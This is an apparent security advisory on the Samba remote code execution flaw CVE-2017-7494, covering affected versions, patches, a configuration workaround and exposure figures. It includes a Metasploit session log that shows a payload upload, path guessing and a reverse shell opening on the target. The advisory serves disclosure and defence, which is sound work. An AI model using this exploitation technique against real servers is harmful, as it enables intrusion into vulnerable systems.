SMBCry

A 7-year-old critical **remote code execution vulnerability** has been discovered in Samba networking software that could allow a malicious client to upload a shared library to a writable share, and then cause the server to load and execute it allowing a remote attacker to take control of the affected Linux and Unix machines.

CVE ID

CVE-2017-7494

Vulnerable Versions

All versions of Samba from 3.5.0 onwards.

Vulnerability Fix

A patch addressing this defect is available at http://www.samba.org/samba/security/

Additionally, Samba 4.6.4, 4.5.10 and 4.4.14 have been issued as security releases to correct the defect. Patches against older Samba versions are available at http://samba.org/samba/patches/. Samba vendors and administrators running affected versions are advised to upgrade or apply the patch as soon as possible.

Workaround

Add the parameter "nt pipe support = no" to the [global] section of your smb.conf and restart smbd. This prevents clients from accessing any named pipe endpoints. Note this can disable some expected functionality for Windows clients.

Vulnerability Credit

Volker Lendecke of SerNet.

Samba

Samba is open-source software (re-implementation of SMB networking protocol) that runs on the majority of operating systems available today, including Windows, Linux, UNIX, IBM System 390, and OpenVMS.

Samba allows non-Windows operating systems, like GNU/Linux or Mac OS X, to share network shared folders, files, and printers with Windows operating system. Samba 3.5.0, the version that introduced the flaw, was released in March 2010.

Exploit Code

The Samba exploit has already been ported to Metasploit, a penetration testing framework, enabling researchers as well as hackers to exploit this flaw easily given the conditions below are met:

- Make file- and printer-sharing port 445 reachable on the Internet
- Configure shared files to have write privileges
- Use known or guessable server paths for those files.

```
msf exploit(smb_pipe_module) > rerun
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.0.3:4444
[*] localhost:445 - Using location \\localhost\yarp\h for the path
[*] localhost:445 - Payload is stored in //localhost/yarp/h as EHQQpfEa.so
[*] localhost:445 - Trying location /volume1/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /volume1/yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /volume1/YARP/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /volume1/Yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /volume2/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /volume2/yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /volume2/YARP/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /volume2/Yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /volume3/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /volume3/yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /volume3/YARP/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /volume3/Yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /shared/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /shared/yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /shared/YARP/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /shared/Yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /mnt/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /mnt/yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /mnt/YARP/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /mnt/Yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /mnt/usb/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /mnt/usb/yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /mnt/usb/YARP/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /mnt/usb/Yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /media/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /media/yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /media/YARP/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /media/Yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /mnt/media/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /mnt/media/yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /mnt/media/YARP/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /mnt/media/Yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /var/samba/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /var/samba/yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /var/samba/YARP/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /var/samba/Yarp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /tmp/h/EHQQpfEa.so...
[*] localhost:445 - Trying location /tmp/yarp/h/EHQQpfEa.so...
[*] Command shell session 5 opened (192.168.0.3:4444 -> 192.168.0.3:44608) at 2017-05-24 16:12:30 -0500

id
uid=65534(nobody) gid=0(root) groups=0(root),65534(nogroup)
exit
```

Figure 1: Snapshot of SMB exploitation using Metasploit.

Vulnerable NAS Devices

- Most NAS devices run Samba and have very valuable data, the vulnerability "has potential to be the first large-scale ***Linux ransomware worm***."
- Netgear released a security advisory for CVE-2017-7494, saying a large number of its routers and NAS product models are affected by the flaw because they use Samba version 3.5.0 or later.
- Linux distribution vendors, including Red Hat and Ubuntu, have already released patched versions for its users, the larger risk is that from NAS device consumers that might not be updated as quickly.
- Home networks with network-attached storage (NAS) devices could also be vulnerable to this flaw

Vulnerability Spread

According to the Shodan computer search engine, more than **485,000** Samba-enabled computers exposed port 445 on the Internet, and according to researchers at Rapid7, more than **104,000** internet-exposed endpoints appeared to be running vulnerable versions of Samba, out of which **92,000** are running unsupported versions of Samba.

Keeping in mind the number of vulnerable systems and ease of exploiting this vulnerability, the Samba flaw could be exploited at large scale with wormable capabilities.

References

1. https://www.samba.org/samba/security/CVE-2017-7494.html
2. https://arstechnica.com/security/2017/05/a-wormable-code-execution-bug-has-lurked-in-samba-for-7-years-patch-now/
3. https://github.com/rapid7/metasploit-framework/pull/8450
4. http://thehackernews.com/2017/05/samba-rce-exploit.html